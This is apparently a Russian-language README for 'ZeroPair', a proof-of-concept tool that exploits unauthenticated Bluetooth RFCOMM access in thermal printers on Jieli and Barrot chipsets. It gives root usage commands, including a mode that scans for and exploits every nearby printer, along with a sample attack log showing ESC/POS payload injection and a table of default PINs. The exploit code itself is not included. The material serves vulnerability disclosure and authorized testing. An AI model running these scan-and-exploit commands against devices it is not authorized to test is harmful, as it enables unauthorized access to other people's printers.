
Инструмент Proof-of-concept, демонстрирующий обход доступа без аутентификации через Bluetooth RFCOMM в уязвимых термопринтерах
Bluetooth-эксплойт с нулевой аутентификацией
«Укради распечатку — владей системой»
███████╗███████╗██████╗ ██████╗
╚══███╔╝██╔════╝██╔══██╗██╔═══██╗
███╔╝ █████╗ ██████╔╝██║ ██║
███╔╝ ██╔══╝ ██╔══██╗██║ ██║
███████╗███████╗██║ ██║╚██████╔╝
╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝
██████╗ █████╗ ██╗██████╗
██╔══██╗██╔══██╗██║██╔══██╗
██████╔╝███████║██║██████╔╝
██╔═══╝ ██╔══██║██║██╔══██╗
██║ ██║ ██║██║██║ ██║
╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝
Автор: [CBKB] DeadlyData | 2026
ZeroPair — инструмент класса proof-of-concept, демонстрирующий уязвимость нулевой аутентификации в Bluetooth-термопринтерах на чипсетах Jieli и Barrot. Затронутые устройства принимают неаутентифицированные RFCOMM-соединения без сопряжения и взаимодействия с пользователем, что позволяет атакующему в зоне действия Bluetooth получить доступ к интерфейсу команд принтера.
CVE: Отправлено в MITRE (ожидается присвоение)
| Доказательство концепции ZeroPair |
Bluetooth-термопринтеры на чипсетах Jieli и Barrot содержат уязвимость обхода аутентификации в сервисе RFCOMM (SPP). Из-за неправильного контроля доступа, реализованного в прошивке, затронутые устройства принимают неаутентифицированные RFCOMM-соединения без сопряжения и взаимодействия с пользователем. Уязвимость существует в скрытом состоянии доверия прошивки, которое невозможно проверить или удалить стандартными инструментами управления Bluetooth.
| Классификация | Критичность |
|---|---|
| Нулевая аутентификация | Критический |
| Постоянное доверие сопряжения | Высокий |
| Скрытое состояние сопряжения | Высокий |
| Неизвестный обход аутентификации | Высокий |
Другие Bluetooth-термопринтеры на этих чипсетах также могут быть затронуты.
bluez — стек протоколов Bluetooth (hcitool, bluetoothctl, rfcomm, sdptool)Установка в Debian/Ubuntu:
sudo apt install bluez
coloramapip install colorama
ZeroPair требует прав root для операций RFCOMM.
Выполняет полную 4-шаговую проверку уязвимости перед эксплуатацией:
sudo python3 ZeroPair.py <MAC_ADDRESS>
sudo python3 ZeroPair.py 66:32:9E:2E:FD:94
Пропускает проверку и выполняет непосредственную эксплуатацию:
sudo python3 ZeroPair.py <MAC_ADDRESS> --skip
Сканирует все устройства Bluetooth, определяет принтеры, проверяет и эксплуатирует:
sudo python3 ZeroPair.py --scan
Самый быстрый режим — сканирование и эксплуатация без проверки:
sudo python3 ZeroPair.py --scan --skip
bluetoothctl/var/lib/bluetooth/)Затронутые принтеры реализуют разрешающую политику приёма RFCOMM на уровне прошивки. Bluetooth-контроллер не требует аутентификации или шифрования для входящих SPP-соединений. Поскольку состояние доверия управляется в прошивке, а не хост-стеком Bluetooth (BlueZ), стандартные инструменты, такие как bluetoothctl, не могут обнаружить, проверить или отозвать неявное доверие. Устройство молча принимает соединения от любого Bluetooth-хоста без взаимодействия с пользователем.
[*] single target mode (validation enabled)
[*] ==========================================================
[*] target: 66:32:9E:2E:FD:94 (X6h-A725)
[*] model: X6h-A725
[*] ==========================================================
[*] starting vulnerability validation...
[*] testing user-space pairing visibility [DONE]
[*] identifying local bluetooth adapter [DONE]
[*] checking filesystem pairing cache [DONE]
[*] testing RFCOMM unauthenticated access [DONE]
[!] VULNERABILITY CONFIRMED
Type: ZERO AUTHENTICATION
Severity: CRITICAL
[*] vulnerability details:
[+] RFCOMM accessible: YES
[+] BlueZ visible: NO
[+] BlueZ paired: NO
[+] Cache exists: NO
[+] target is exploitable - proceeding with attack
[*] discovering RFCOMM channels [channel 1]
[*] establishing RFCOMM connection [CONNECTED]
[*] injecting ESC/POS payload [SUCCESS]
[*] exploitation successful - check printer output!
[+] exploitation completed successfully
Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности и не отвечает за любое неправомерное использование или ущерб, причинённый этим инструментом. Используйте ответственно и только на системах, которыми вы владеете или на тестирование которых имеете явное разрешение.
MIT
| Модель | Производитель | Чипсет | PIN по умолчанию | Набор команд |
|---|
| X6h-A725 | Zhuhai Jieli | Jieli | 1234 | ESC/POS |
| M58-L | Zhuhai Jieli | Jieli | 1234 | ESC/POS |
| D450 | Omezizy | Barrot | 0000 | TSPL |
| Аргумент | Короткая | Описание |
|---|
target | Целевой MAC-адрес (например, 66:32:9E:2E:FD:94) | |
--scan | -a | Режим автосканирования: поиск и эксплуатация всех принтеров |
--skip | -s | Пропустить проверку уязвимости (быстрее) |